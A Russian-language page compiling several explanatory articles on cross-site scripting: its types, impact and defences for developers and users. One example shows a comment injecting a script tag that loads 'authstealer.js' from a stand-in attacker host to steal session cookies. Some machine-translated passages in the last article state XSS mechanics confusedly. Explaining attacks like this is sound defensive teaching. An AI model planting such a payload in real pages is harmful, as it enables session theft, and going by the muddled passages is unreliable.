Содержание

XSS — атаки на веб-системы типа «межсайтовый скриптинг»

XSS — атаки на веб-системы типа «межсайтовый скриптинг»

XSS‑атаки — это внедрение в страницу вредоносного кода, который будет выполнен на компьютере пользователя при открытии им этой страницы.

Как правило, вредоносный код нацелен на аутентифицированных пользователей и использует авторизацию в веб‑системе для получения к ней расширенного доступа. Еще одна разновидность использования — кража реквизитов доступа (логинов и паролей). XSS‑атака может быть осуществлена как как через уязвимость приложения или веб‑сервера, так и через уязвимость на компьютере конечного пользователя. Использование XSS‑атак весьма популярно, они занимают первое место среди всех типов атак на веб‑системы.

XSS‑уязвимости очень опасны: злоумышленник может получить доступ к данным на странице или в сookies (если они без цифровых подписей и без привязки к IP), а там вполне могут быть весьма ценные данные (например, идентификатор сессии с административным доступом к системе или номера платёжных карт). Также, если нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю и сделать это от его имени (например,перевести средства, рассылать спам и т.п.). На популярных сайтах XSS‑уязвимости могут быть использованы для DDoS‑атак либо на сам сервис, либо на какой‑либо другой ресурс.

Наиболее часто эксплуатируются такие уязвимости на сайтах, где пользователи могут публиковать свой контент, делая его доступным для других. Злоумышленник, при отсутствии должной фильтрации, может либо напрямую использовать уязвимость, либо заражать браузеры пользователей. Разработчики, для предотвращения атак этого типа, должны либо просто ограничивать возможности пользователей публиковать на сайте что‑либо, либо тщательно фильтровать поступающие от пользователей данные.

информационная безопасность

фронтенд

веб-разработка

Статья опубликована в 2014 году

Тематические статьи

Сжатие изображений с потерями и без потерь

Сжатие изображений — это один из способов ускорения загрузки сайта. Сделать изображения более «легкими» можно как уменьшив их физический размер в пикселях, так и путём оптимизации параметров сохранения.

На «широких» каналах размер изображений на сайте на скорость загрузки сайта влияет не очень сильно, но для пользователей, просматривающих сайт через мобильный интернет (EDGE или 3G), большие изображения могут быть проблемой. На посещаемых сайтах также могут быть сложности с загрузкой канала сервера — неоптимизированные изображения могут существенно сказываться на объёме трафика (это проблема, если он платный) или просто «забивать» канал.

фронтенд

дизайн

веб-разработка

Статья опубликована в 2019 году

Адаптивные изображения

Изображения на сайтах могут адаптироваться как под разрешение экрана устройства для корректного отображения на мобильных устройствах, так и под экраны с высоким DPI для более детализированного отображения.

Есть несколько вариантов реализации адаптивных изображений, отличаются они по сложности реализации, кроссбраузерностью и по создаваемой нагрузке на интернет‑соединение. Рассмотрим самые распространённые.

дизайн

UX / UI

фронтенд

CSS

веб-разработка

адаптивный веб-дизайн

Статья опубликована в 2019 году

БЭМ и независимые блоки

Вёрстка независимыми блоками — это методология, которая была сформулирована Виталием Харисовым из компании Яндекс. Впоследствии эта методология была расширена и получила название БЭМ (Блок-Элемент-Модификатор). Собственно БЭМ нужен для упрощения командной разработки, для унификации интерфейсов и для более активного повторного использования программного кода.

веб-разработка

фронтенд

HTML

CSS

методологии разработки

Статья опубликована в 2014 году

Браузерное или клиентское кеширование

Кэширование статических ресурсов (картинок, скриптов, стилей) и неизменяющихся страниц на стороне браузера может сэкономить время загрузки страниц, если пользователь посещает сайт многократно или при посещении просматривает несколько страниц, которые используют одинаковые ресурсы.

быстродействие

фронтенд

веб-разработка

Статья опубликована в 2014 году

Ajax-навигация Turboliks & Wiselinks

Увеличить отзывчивость интерфейса и снизить нагрузку на сервер можно при помощи Ajax‑навигации: если не перезагружать страницу целиком, а обновлять только содержание или отдельные фрагменты, то скорость работы сайта или приложения существенно возрастёт.

быстродействие

фронтенд

JavaScript

веб-разработка

Статья опубликована в 2014 году

History API и HASH‑навигация на Ajax‑сайтах

Загрузка контента при помощи Ajax и навигация, построенная на этой схеме, позволяют значительно повысить отзывчивость интерфейса разрабатываемого сайта или веб‑приложения. Однако такой подход заставляет решать проблемы, связанные с отображением адреса в браузере.

фронтенд

JavaScript

веб-разработка

Статья опубликована в 2014 году

Ленивая загрузка или загрузка по требованию на клиентской части

Бывает так, что некоторое содержание страницы нужно не всем или не всегда, но на генерацию этого материала или для его передачи тратится много ресурсов. В этом случае имеет смысл сделать загрузку «ленивой», то есть не генерировать и не загружать в браузер информацию до тех пор, пока она не понадобится.

веб-разработка

фронтенд

быстродействие

JavaScript

Статья опубликована в 2014 году

Стандарты кодирования — залог хорошей сопровождаемости проекта

Любая командная разработка может быть эффективной только в том случае, если участники команды имеют общее видение.

Если над проектом работает команда, а не один‑два разработчика, то обязательно должен быть стандарт оформления кода — набор правил и соглашений, которые описывают базовые принципы оформления программного кода, используемого совместно группой разработчиков.

методологии разработки

веб-разработка

бэкенд

фронтенд

Статья опубликована в 2014 году

Принцип программирования YAGNI — «Вам это не понадобится»

Принцип заключается в том, что возможности, которые не описаны в требованиях к системе, просто не должны реализовываться.

В результате разработка ненужных функций не сжигает бюджет проекта, а разработчики не тратят оплачиваемое время на реализацию и дальнейшее сопровождение в реальности ненужного функционала. Избыточный функционал сжигает больше всего ресурсов именно на сопровождении: больше написанного кода — труднее сопровождать и выше вероятность появления «багов». И тут очень уместна поговорка: «лучший код — это ненаписанный код».

методологии разработки

веб-разработка

бэкенд

фронтенд

Статья опубликована в 2019 году

Что такое атака с использованием межсайтового скриптинга? Определение и примеры

Что такое межсайтовый скриптинг?

Атаки с использованием межсайтового скриптинга представляют собой внедрение вредоносного кода на доверенные веб-сайты. В процессе атаки происходит внедрение вредоносных скриптов в контент веб-сайта. Затем эти скрипты включаются в динамический контент, отображаемый в браузере жертвы. Браузер жертвы не знает, что вредоносные скрипты не являются доверенными, и выполняет их.

В результате вредоносные скрипты могут получить доступ к файлам cookie, идентификаторам сеансов, и прочей конфиденциальной информации, сохраненной браузером и используемой на этом сайте. Злоумышленники также могут использовать межсайтовый скриптинг для распространения вредоносных программ, перезаписи содержимого веб-сайтов, создания проблем в социальных сетях и фишинга с целью получения учетных данных пользователей. Межсайтовый скриптинг отличается от других веб-атак тем, что не нацелен непосредственно на само приложение – риску подвергаются пользователи веб-приложения.

Как работает межсайтовый скриптинг?

При атаке с использованием межсайтового скриптинга уязвимый сайт нужен лишь для выполнения на устройствах пользователей вредоносных скриптов. Часто в этих целях применяют JavaScript, но может использоваться любой клиентский язык. Киберпреступники нацеливаются на веб-сайты с уязвимыми функциями, предназначенными для ввода данных пользователями: панелями поиска, полями для ввода комментариев, формами входа. Они внедряют вредоносный код на легальные веб-сайты, по сути, заставляя браузеры обманным путем запускать вредоносные программы при каждой загрузке сайта.

JavaScript запускается на странице браузера жертвы, в результате чего конфиденциальные данные о пользователе, выполнившем вход в систему, могут быть украдены из сеанса. Это используется злоумышленниками для атак на администраторов сайтов и взлома самих сайтов.

В зависимости от способа внедрения кода, вредоносный контент может присутствовать даже не на самой веб-странице, а являться временным элементом, кажущимся частью веб-сайта на период атаки. Это может создать иллюзию компрометации реального веб-сайта, хотя это не так.

Существуют различные способы инициировать атаку с использованием межсайтового скриптинга. Например, выполнение скрипта может запускаться автоматически при загрузке страницы или при наведении курсора на определенные элементы страницы, такие как гиперссылки. В некоторых случаях атака с использованием межсайтового скриптинга осуществляется напрямую, например, из сообщения электронной почты. Некоторые атаки с использованием межсайтового скриптинга не имеют конкретной цели; злоумышленники просто используют уязвимости в приложении или на сайте, и любой может стать их жертвой.

В зависимости от масштаба атаки могут быть скомпрометированы учетные записи пользователей, активированы троянские программы, а также изменено содержимое страницы, что заставит пользователей раскрыть личные данные. Могут быть раскрыты файлы cookie сеансов, что позволяет злоумышленникам выдавать себя за реальных пользователей и использовать их личные учетные записи.

Успешная атака с использованием межсайтового скриптинга может иметь катастрофические последствия для репутации онлайн-компаний и их взаимоотношений с клиентами. К сожалению, уязвимости, допускающие успешное осуществление атак с использованием межсайтового скриптинга, являются довольно распространенными. При таких атаках могут использоваться уязвимости в различных средах программирования, включая VBScript, Flash, ActiveX и JavaScript. В первую очередь эти атаки ориентированы на JavaScript из-за его тесной интеграции с большинством браузеров. Способность работать на наиболее популярных платформах делает атаки с использованием межсайтового скриптинга опасными и широко распространенными.

Воздействие межсайтового скриптинга

Злоумышленники могут использовать уязвимости для совершения следующих вредоносных действий:

  • Перенаправление пользователей на вредоносные сайты.
  • Запись нажатий клавиш пользователями.
  • Доступ к истории просмотра и содержимому буфера обмена.
  • Запуск эксплойтов веб-браузера (например, вызывающих сбой браузера).
  • Получение файлов cookie пользователя, вошедшего на сайт.
  • Кража токена сеанса входа в систему, что позволяет злоумышленнику работать с приложением от имени пользователя, не зная его пароля.
  • Принуждение пользователя к отправке контролируемых злоумышленником запросов на сервер.
  • Изменение содержимого страницы.
  • Вынуждение пользователя обманным путем сообщить пароль от приложения.
  • Заражение компьютера пользователя другим вредоносным кодом с использованием уязвимостей веб-браузера, возможно, захват компьютера пользователя.

В некоторых случаях атаки с использованием межсайтового скриптинга могут привести к полной компрометации учетной записи пользователя. Злоумышленники могут обманным путем заставить пользователей ввести учетные данные в поддельной форме, из которой затем получают всю информацию. Учетные данные пользователей могут использоваться для кражи личных данных и финансового мошенничества.

Виды атак с использованием межсайтового скриптинга

Атаки с использованием межсайтового скриптинга можно разделить на три основные категории: хранимые, отраженные и на основе DOM.

Хранимые (постоянные)

Хранимые (постоянные) межсайтовые скрипты считаются наиболее опасными. Атаки с их использованием возникают при сохранении введенных пользователем данных с последующим их отображением на веб-странице. Типичные точки входа хранимых межсайтовых скриптов – это форумы, комментарии в блогах, профили пользователей и поля для ввода имени пользователя. Злоумышленники обычно используют эту уязвимость, внедряя межсайтовые скрипты на популярные страницы сайта или передавая пользователю ссылку для перехода на страницу, содержащую сохраненный скрипт. Пользователь заходит на страницу, и скрипт выполняется его браузером на стороне клиента.

Отраженные (непостоянные)

Отраженный (непостоянный) – это наиболее распространенный тип межсайтового скриптинга. В этом случае скрипт должен являться частью запроса, отправленного на веб-сервер. Затем запрос возвращается (отражается) обратно таким образом, что ответ HTTP включает данные из запроса HTTP. Злоумышленники используют вредоносные ссылки, фишинговые электронные письма и другие методы социальной инженерии, чтобы обманным путем заставить пользователя отправить запрос на сервер. Отраженные данные затем используются при выполнении скрипта в браузере пользователя.

Отраженный межсайтовый скриптинг не является постоянной атакой, поэтому злоумышленник должен доставить вредоносный скрипт каждому пользователю. Такие атаки часто совершаются через социальные сети.

Межсайтовый скриптинг на основе DOM

Межсайтовый скриптинг на основе DOM использует уязвимость DOM-модели (Document Object Model – объектной модели документа), а не HTML. В отраженных и хранимых атаках с использованием межсайтового скриптинга данные, полученные в результате эксплуатации уязвимости, отображаются на странице ответа. Однако при межсайтовом скриптинге на основе DOM исходный HTML-код атаки и ответ будут совпадать, то есть данные не могут быть получены в ответе на запрос, их можно получить только в среде выполнения или при исследовании DOM-модели страниц.

Атаки с использованием межсайтового скриптинга на основе DOM часто выполняются на стороне клиента, а вредоносная нагрузка не отправляется на сервер. Это еще больше затрудняет обнаружение таких атак как с помощью сетевых экранов веб-приложений, так и для инженеров по безопасности, выполняющих анализ журналов серверов, поскольку они не видят самой атаки. Чаще всего используют следующие объекты DOM: веб-адрес (document.URL), якорная часть веб-адреса (location.hash) и адрес страницы, с которой был совершен переход (document.referrer).

Примеры атак с использованием межсайтового скриптинга

При просмотре веб-сайта, посвященного электронной коммерции, злоумышленник обнаруживает уязвимость, позволяющую встраивать HTML-теги в раздел комментариев сайта. Встроенные теги становятся постоянной функцией страницы: браузер включает их вместе с остальной частью исходного кода при каждом открытии страницы.

Злоумышленник добавляет следующий комментарий: Очень полезный объект. Полный обзор можно прочитать здесь: <script src=”http://attackersite.com/authstealer.js”> </script>.

Теперь при каждом доступе к странице помещенный в комментарий HTML-тег активирует файл JavaScript, размещенный на другом сайте, и позволяет украсть файлы cookie сеансов посетителей страницы.

Файлы cookie сеансов позволяют злоумышленникам взламывать учетные записи посетителей и получать доступ к их личной информации и финансовым данным. Между тем, посетители страницы, возможно, даже не прокрутили до раздела комментариев, и не подозревают о том, что произошла атака.

В отличие от отраженной атаки, в которой скрипт активируется при переходе по ссылке, для сохраненной атаки достаточно, чтобы пользователь только посетил скомпрометированную веб-страницу. Это увеличивает масштаб атаки, подвергая опасности всех посетителей страницы, независимо от того, насколько они осторожны.

С точки зрения злоумышленника, постоянные атаки с использованием межсайтового скриптинга сложнее в плане реализации из-за трудностей с обнаружением как веб-сайта, на который идет трафик, так и веб-сайта с уязвимостями, позволяющими встраивать постоянные скрипты.

Предотвращение атак с использованием межсайтового скриптинга

Чтобы свести к минимуму уязвимости, используемые в атаках межсайтового скриптинга, разработчики и владельцы веб-сайтов должны:

  • Убедиться, что все страницы сайта, принимающие вводимые пользователями данные, отфильтровывают вводимые коды, такие как HTML и JavaScript.
  • Проверять веб-приложения на наличие уязвимостей и исправлять их соответствующим образом.
  • Обновлять свой веб-сайт и серверное программное обеспечение, чтобы предотвратить дальнейшее использование уязвимостей в атаках межсайтового скриптинга.

 

Чтобы не стать жертвой атаки с использованием межсайтового скриптинга, пользователи должны:

  • Отключить выполнение скриптов на страницах, где в них нет необходимости, или полностью отключить выполнение скриптов.
  • Не переходить по ссылкам в подозрительных сообщениях электронной почты и постах, поскольку это может привести к взлому страниц.
  • Переходить на веб-сайты напрямую, вводя веб-адрес в адресную строку браузера, а не из сторонних источников или по ссылкам.
  • Обновлять программное обеспечение, чтобы не пропустить последние исправления и патчи безопасности. Регулярное обновление программного обеспечения значительно снизит количество уязвимостей, в частности, для атак с использованием межсайтового скриптинга, на сайте или в приложении.
  • Проверять и выявлять, какие приложения являются необходимыми, а какие используются редко. Удаление неиспользуемых приложений снижает количество потенциальных уязвимостей.
  • Использовать высококачественное антивирусное программное решение, такое как Kaspersky Total Security, для защиты устройств и данных. Это решение блокирует обычные и сложные угрозы: вирусы, программы-вымогатели, шпионские приложения и хакерские атаки.

Статьи по теме:

  • Что такое атака нулевого дня?
  • Что такое интернет-безопасность?
  • Что такое руткит?
  • Разновидности вредоносных программ

Что такое атака с использованием межсайтовых сценариев? Определение и примеры

Что такое межсайтовый скриптинг?

Атаки с использованием межсайтовых сценариев, иногда называемые XSS, включают внедрение вредоносного кода на веб-сайты, которым доверяют в остальном. Атака с использованием межсайтовых сценариев происходит, когда киберпреступники внедряют вредоносные сценарии в контент целевого веб-сайта, который затем включается в динамический контент, доставляемый в браузер жертвы. Браузер жертвы не может знать, что вредоносным скриптам нельзя доверять, и поэтому выполняет их.

В результате вредоносные сценарии могут получить доступ к любым файлам cookie, маркерам сеанса или другой конфиденциальной информации, сохраняемой браузером и используемой на этом сайте. Злоумышленники также могут использовать XSS для распространения вредоносных программ, перезаписи содержимого веб-сайтов, создания проблем в социальных сетях и фишинга учетных данных пользователей. XSS отличается от других веб-атак тем, что не нацелен непосредственно на само приложение. Вместо этого пользователи веб-приложения подвергаются риску.

Как работает межсайтовый скриптинг

Межсайтовые сценарии работают, манипулируя уязвимым веб-сайтом, чтобы он возвращал пользователям вредоносные сценарии. Часто для этого используется JavaScript, но можно использовать любой клиентский язык. Киберпреступники нацелены на веб-сайты с уязвимыми функциями, которые принимают вводимые пользователем данные, такие как панели поиска, поля для комментариев или формы входа. Преступники прикрепляют свой вредоносный код поверх легитимного веб-сайта, по сути обманывая браузеры, заставляя их запускать свое вредоносное ПО всякий раз, когда сайт загружается.

Поскольку JavaScript запускается на странице браузера жертвы, конфиденциальные данные об аутентифицированном пользователе могут быть украдены из сеанса, что позволяет злоумышленникам нацеливаться на администраторов сайтов и компрометировать веб-сайты.

В зависимости от того, как внедряется код, вредоносное содержимое может быть даже не на самой веб-странице, а в виде временного элемента, который только кажется частью веб-сайта во время эксплуатации. Это может создать иллюзию взлома реального веб-сайта, хотя это не так.

Существуют различные способы запуска атаки XSS. Например, выполнение может запускаться автоматически при загрузке страницы или когда пользователь наводит курсор на определенные элементы страницы, такие как гиперссылки. В некоторых случаях XSS выполняется более непосредственно, например, в сообщении электронной почты. Некоторые XSS-атаки не имеют конкретной цели; злоумышленник просто использует уязвимость в приложении или на сайте, используя любого, кому не повезло стать жертвой.

В зависимости от масштаба атаки могут быть скомпрометированы учетные записи пользователей, активированы троянские программы и изменено содержимое страниц, что вводит пользователей в заблуждение и заставляет разглашать их личные данные. Сеансовые файлы cookie могут быть раскрыты, что позволит злоумышленнику выдавать себя за действительных пользователей и злоупотреблять их личными учетными записями.

Успешная атака с использованием межсайтовых сценариев может иметь разрушительные последствия для репутации онлайн-бизнеса и его отношений с клиентами. К сожалению, недостатки, которые позволяют XSS-атакам увенчаться успехом, довольно широко распространены. Атаки XSS могут использовать уязвимости в различных средах программирования, включая VBScript, Flash, ActiveX и JavaScript. XSS в первую очередь нацелен на JavaScript из-за тесной интеграции языка с большинством браузеров. Эта способность использовать часто используемые платформы делает XSS-атаки опасными и широко распространенными.

Воздействие XSS

Используя уязвимости XSS, злоумышленник может выполнять вредоносные действия, такие как:

  • Перенаправление пользователей на вредоносный веб-сайт.
  • Захват нажатий клавиш пользователей.
  • Доступ к истории браузера пользователей и содержимому буфера обмена.
  • Запуск эксплойтов на основе веб-браузера (например, сбой браузера).
  • Получение информации о файлах cookie пользователя, вошедшего на веб-сайт.
  • Кража токена сеанса входа, позволяющая злоумышленнику взаимодействовать с приложением в качестве жертвы, не зная своего пароля.
  • Принуждение пользователя к отправке подконтрольных злоумышленнику запросов на сервер.
  • Изменение содержимого страницы.
  • Обман жертвы, чтобы она сообщила свой пароль к приложению или другим приложениям.
  • Заражение жертвы другим вредоносным кодом с использованием уязвимости в самом веб-браузере, что может привести к захвату компьютера жертвы.

В некоторых случаях XSS-атака может привести к полной компрометации учетной записи жертвы. Злоумышленники могут обманом заставить пользователей вводить учетные данные в поддельной форме, которая предоставляет злоумышленнику всю информацию. Получив учетные данные пользователя, злоумышленники могут использовать их для кражи личных данных или финансового мошенничества.

Типы XSS-атак

Межсайтовые сценарии можно разделить на три основные категории — Сохраненные XSS , Отраженные XSS , и   XSS на основе DOM.

Сохраненный межсайтовый скриптинг (постоянный XSS)

Сохраненный XSS, также известный как постоянный XSS, считается наиболее разрушительным типом атаки XSS. Stored XSS возникает, когда пользовательский ввод сохраняется, а затем отображается на веб-странице. Типичные точки входа для сохраненного XSS включают форумы сообщений, комментарии в блогах, профили пользователей и поля имени пользователя. Злоумышленник обычно использует эту уязвимость, внедряя полезные данные XSS на популярные страницы сайта или передавая ссылку жертве, обманом заставляя ее просмотреть страницу, содержащую сохраненную полезную нагрузку XSS. Жертва посещает страницу, и полезная нагрузка выполняется на стороне клиента веб-браузером жертвы.

Отраженный межсайтовый скриптинг (непостоянный XSS)

Наиболее распространенный тип XSS известен как отраженный XSS (также известный как непостоянный XSS). В этом случае полезная нагрузка злоумышленника должна быть частью запроса, отправленного на веб-сервер. Затем он отражается обратно таким образом, что ответ HTTP включает полезную нагрузку из запроса HTTP. Злоумышленники используют вредоносные ссылки, фишинговые электронные письма и другие методы социальной инженерии, чтобы заставить жертву отправить запрос на сервер. Отраженная полезная нагрузка XSS затем выполняется в браузере пользователя.

Reflected XSS не является постоянной атакой, поэтому злоумышленнику необходимо доставить полезную нагрузку каждой жертве. Эти атаки часто осуществляются с использованием социальных сетей.

Межсайтовый скриптинг на основе DOM

XSS на основе DOM относится к уязвимости межсайтового скриптинга, которая проявляется в DOM (объектной модели документа), а не в HTML. В отраженных и сохраненных атаках с использованием межсайтовых сценариев вы можете увидеть полезную нагрузку уязвимости на странице ответа, но в межсайтовых сценариях на основе DOM исходный HTML-код атаки и ответ будут одинаковыми, т. Е. Полезная нагрузка не может быть найдена. в ответ. Его можно наблюдать только во время выполнения или путем исследования DOM страницы.

Атака XSS на основе DOM часто является атакой на стороне клиента, и вредоносная полезная нагрузка никогда не отправляется на сервер. Это еще больше затрудняет обнаружение для брандмауэров веб-приложений (WAF) и инженеров по безопасности, которые анализируют журналы сервера, потому что они никогда не видят атаки. Объекты DOM, которыми чаще всего манипулируют, включают URL-адрес (document. URL), якорную часть URL-адреса (location.hash) и Referrer (document.referrer).

Пример атаки XSS

Например: при просмотре веб-сайта электронной коммерции злоумышленник обнаруживает уязвимость, позволяющую встраивать теги HTML в раздел комментариев сайта. Встроенные теги становятся постоянным компонентом страницы, заставляя браузер включать их в остальную часть исходного кода при каждом открытии страницы.

Злоумышленник добавляет комментарий следующего содержания: Большой ценный предмет. Прочитайте мой полный обзор здесь .

После этого каждый раз при доступе к странице тег HTML в комментарии будет активировать файл JavaScript, который размещен на другом сайте и может украсть файлы cookie сеанса посетителей.

Используя файл cookie сеанса, злоумышленник может скомпрометировать учетную запись посетителя, предоставив ему легкий доступ к своей личной информации и финансовым данным. Между тем, посетитель, который, возможно, даже не прокрутил страницу вниз до раздела комментариев, остается в неведении о том, что атака имела место.

В отличие от отраженной атаки, когда сценарий активируется после нажатия на ссылку, для хранимой атаки достаточно, чтобы жертва посетила скомпрометированную веб-страницу. Это увеличивает охват атаки, подвергая опасности всех посетителей, независимо от того, насколько они осторожны.

С точки зрения злоумышленника, постоянные XSS-атаки сложнее выполнить из-за трудностей с обнаружением как посещаемого веб-сайта, так и веб-сайта с уязвимостями, позволяющими постоянно внедрять скрипты.

Предотвращение межсайтовых сценариев

Чтобы свести к минимуму уязвимость межсайтовых сценариев, разработчики/владельцы веб-сайтов должны:

  • Обеспечить, чтобы любая страница на их веб-сайте, принимающая вводимые пользователем данные, отфильтровывала вводимый код, например HTML и JavaScript.
  • Просканируйте все уязвимости веб-приложений и исправьте их соответствующим образом.
  • Обновите свой веб-сайт и серверное программное обеспечение, чтобы предотвратить использование в будущем уязвимостей, которые могут стать целью атаки XSS.

Чтобы не стать жертвой XSS-атаки, отдельные пользователи должны:

  • Отключить сценарии на страницах, где они не нужны, или отключить их совсем.
  • Не нажимайте на ссылки в подозрительных электронных письмах или сообщениях на досках объявлений, так как они могут привести к скомпрометированным страницам.
  • Получите доступ к веб-сайтам напрямую, введя URL-адрес в свой браузер, а не через сторонний источник или ссылку.
  • Обновляйте программное обеспечение, чтобы получать последние исправления ошибок и исправления безопасности. Регулярное обновление программного обеспечения значительно уменьшит количество уязвимостей, которые оставляют сайт или приложение открытым для XSS-атак.
  • Аудит приложений, чтобы определить, какие из них необходимы, а какие редко используются. Избавление от приложений, которые вы не используете, уменьшает количество потенциальных уязвимостей.
  • Используйте качественный антивирус, например, Kaspersky Total Security — он работает круглосуточно и без выходных для защиты ваших устройств и данных. Он блокирует распространенные и сложные угрозы, такие как вирусы, вредоносное ПО, программы-вымогатели, шпионские приложения и все последние хакерские уловки.

Статьи по теме:

  • Что такое атака нулевого дня?
  • Что такое интернет-безопасность?
  • Что такое руткит?
  • Типы вредоносных программ

3 типа атак с использованием межсайтовых сценариев (XSS)

Безопасность является серьезной проблемой в киберпространстве. Без соответствующих мер безопасности веб-сайты уязвимы для киберпреступников из-за множества векторов атак. Нарушения безопасности могут вызвать:

  • Разрушение или повреждение базы данных
  • Потеря конфиденциальной информации
  • Кража интеллектуальной собственности
  • Затраты, понесенные в результате нарушений законодательства и нормативных требований

Чтобы избежать этих последствий, следует использовать передовой опыт и правильные инструменты.

В этой статье рассматривается один распространенный тип кибератаки: атака с использованием межсайтового скриптинга (XSS). Вы узнаете о различных типах XSS-атак, о том, как они пересекаются, и как вы можете смягчить уязвимости XSS в своих проектах.

Концепция межсайтового скриптинга

Для проведения XSS-атаки хакер вставляет на веб-сайт вредоносный скрипт. В зависимости от типа XSS-атаки этот скрипт затем передается либо жертве, либо веб-сайту. Жертва заходит на сайт или пытается получить данные с веб-сервера, запуская вредоносный скрипт. Сценарий обычно представляет вредоносное ПО, которое крадет конфиденциальные данные с веб-сервера или браузера жертвы или изменяет содержимое веб-сайта.

Существует множество способов, которыми хакеры могут использовать уязвимости веб-сайтов, а также множество стратегий противодействия им. Если уязвимости XSS не будут быстро обнаружены и устранены, они могут привести к очень разрушительным атакам.

Типы XSS-атак

Согласно Open Web Application Security Project (OWASP), XSS-атаки попадают в одну из трех категорий: отраженный XSS, сохраненный XSS и объектная модель документа (DOM) XSS. Они подробно описаны ниже.

Отраженная атака с использованием межсайтовых сценариев (непостоянная)

Отраженная атака XSS происходит, когда хакер доставляет вредоносный сценарий в уязвимое веб-приложение, которое сервер затем возвращает в ответе HTTP. Браузер жертвы выполняет вредоносный скрипт как часть HTTP-ответа, компрометируя законного пользователя и отправляя личную информацию обратно хакеру.

Отраженные XSS-атаки обычно нацелены на сообщения об ошибках или страницы результатов поисковой системы, так как легко отправить вредоносное электронное письмо со ссылкой, по которой будут переходить многие пользователи. Когда пользователь нажимает на ссылку, сервер получает запрос, содержащий вредоносный скрипт, и, поскольку он не сохраняется, он отвечает, отправляя код обратно пользователю. Когда пользовательский ввод не проверяется и не очищается должным образом, или когда данные небезопасно дублируются из запроса, существует риск отражения уязвимостей XSS.

Первая линия защиты от XSS-атак — фильтрация контента и проверка вводимых пользователем данных. Вы можете использовать безопасные и черные списки поставщиков скриптов, чтобы отклонить опасные шаблоны данных.

Кроме того, вы можете внедрить строгую политику безопасности контента (CSP), которая поможет вам идентифицировать источник встроенных сценариев, снижая риск отраженных XSS-атак. Сильный CSP дает вам контроль над скриптами и местами на веб-страницах, где они могут быть загружены и запущены.

Атака с использованием хранимых межсайтовых сценариев (постоянная)

При хранимой XSS-атаке вредоносный скрипт сохраняет вводимые пользователем данные на целевой сервер. В отличие от отраженной атаки XSS, которая выполняется на сервере, сохраненная атака XSS выполняется в браузере пользователя. Затем злоумышленники используют современные приложения HTML5, обычно использующие базы данных HTML, для постоянного хранения вредоносных сценариев в браузере.

При хранимой XSS-атаке сценарий сохраняется и выполняется на сервере каждый раз, когда пользователь обращается к затронутому веб-сайту. Злоумышленнику легко нацелиться на большое количество жертв, и результат будет стойким. Сохраненные XSS-атаки также могут возникать, когда неподготовленные пользователи пытаются извлечь данные из программного обеспечения, не принимая никаких мер предосторожности по очистке или проверке.

Сохраненные XSS-атаки направлены на отражение вредоносного сценария для пользователя, поэтому самый простой способ предотвратить их — очистить пользовательские данные и тщательно обрабатывать входные данные, а лучший способ предотвратить их — использовать соответствующую привязку параметров.

Вы можете очистить данные с помощью системы шаблонов с автоматическим экранированием или кодирования HTML. Данные, предназначенные для вывода, следует кодировать, чтобы сервер не интерпретировал их как активное содержимое. Это означает, что приложение будет обрабатывать специальные символы в своих сохраненных данных как содержимое тега HTML, а не как обычный HTML.

Привязка параметров данных (данных) зависит от вектора, но вы всегда можете передавать переменные как дополнительные значения, выходящие за рамки обычной функциональности функции. Вы также можете использовать соответствующие заголовки ответов для предотвращения атак, обычно просто добавляя несколько строк кода.

Еще один метод предотвращения XSS-атак в режиме реального времени — использование динамической защиты, которая активно ищет попытки эксплуатации. Блокируя известные шаблоны, вы можете помешать злоумышленникам использовать существующие лазейки.

Наконец, вы можете использовать брандмауэры веб-приложений (WAF) для обнаружения и предотвращения XSS-атак в реальном времени.

Document Object Model (DOM) Атака с использованием межсайтовых сценариев

Интерфейс DOM позволяет обрабатывать и манипулировать содержимым веб-страниц путем чтения и изменения документов HTML и XML. XSS-атаки на основе DOM вносят вредоносные изменения в контекст DOM браузера жертвы, в результате чего код на стороне клиента выполняется непреднамеренным образом.

XSS-атаки на основе DOM, в отличие от отраженных и сохраненных XSS-атак, не сохраняют вредоносный скрипт и не доставляют его на сервер. В этой атаке браузер жертвы является единственной уязвимостью. Поскольку их сложнее понять, чем другие категории, уязвимости на основе DOM необычны, сложны и сложны для преодоления. Более того, автоматические сканеры уязвимостей и брандмауэры веб-приложений не могут легко их идентифицировать.

Вы можете использовать те же методы для предотвращения этой атаки, что и для двух других, но вы должны уделять особое внимание санации кода на стороне клиента. Два эффективных решения — предотвратить изменение потенциально опасных функций JavaScript контролируемыми пользователем источниками (известными как приемники) или разрешить только заслуживающий доверия контент с помощью списка надежных отправителей. При соблюдении этих мер предосторожности строки, которые могут поставить под угрозу модель DOM, не будут отправляться в приемники. Вы также можете очистить данные с помощью встроенных функций браузера, что снизит риск возникновения проблем, связанных с изменением парсера.

Новая защита от этого типа атак заключается в использовании доверенных типов. Это механизм безопасности браузера, который гарантирует, что все опасные части модели DOM могут использоваться только данными, прошедшими предопределенную политику. Он предотвращает передачу произвольных строк потенциально опасным приемникам, что помогает браузеру различать код и данные, устраняя основной источник уязвимости.

XSS на стороне сервера и XSS на стороне клиента

XSS-атаки классифицируются как серверные XSS или клиентские XSS. Клиентские программы запускаются на клиентском устройстве или в браузере и заботятся о пользовательском интерфейсе и любой другой обработке, которая происходит на клиентском устройстве. Серверные программы работают на серверах и создают содержимое веб-страницы.

XSS на стороне сервера возникает, когда весь код на стороне сервера уязвим, а браузер отображает ответ и запускает встроенные в него законные сценарии. С другой стороны, XSS на стороне клиента выполняется на устройстве пользователя и изменяет веб-страницу после ее загрузки.

XSS-атака возможна везде, где есть HTML. Независимо от того, сохранены ли они, отражены или основаны на DOM, все атаки XSS имеют одинаковый эффект: злоумышленник получает полный контроль над веб-сеансом.

Эти атаки XSS также могут перекрываться, и веб-сайт может быть уязвим для всех трех атак одновременно. В случае одного веб-сайта или автономного приложения все три типа атак могут проявляться непосредственно в браузере. Однако их поведение может отличаться при сохранении данных на сервере по сравнению с их отражением с сервера.

Заключение

OWASP относит XSS к одной из главных угроз безопасности веб-приложений из-за его распространенности, далеко идущих последствий и различных методов, с помощью которых могут быть выполнены атаки.

Злоумышленники используют ряд стратегий для обмана пользователей. Каждая разновидность XSS-атаки использует отдельную уязвимость, но они не исключают друг друга. В некоторых сценариях XSS-атака на основе DOM сочетается с отраженной или сохраненной XSS-атакой.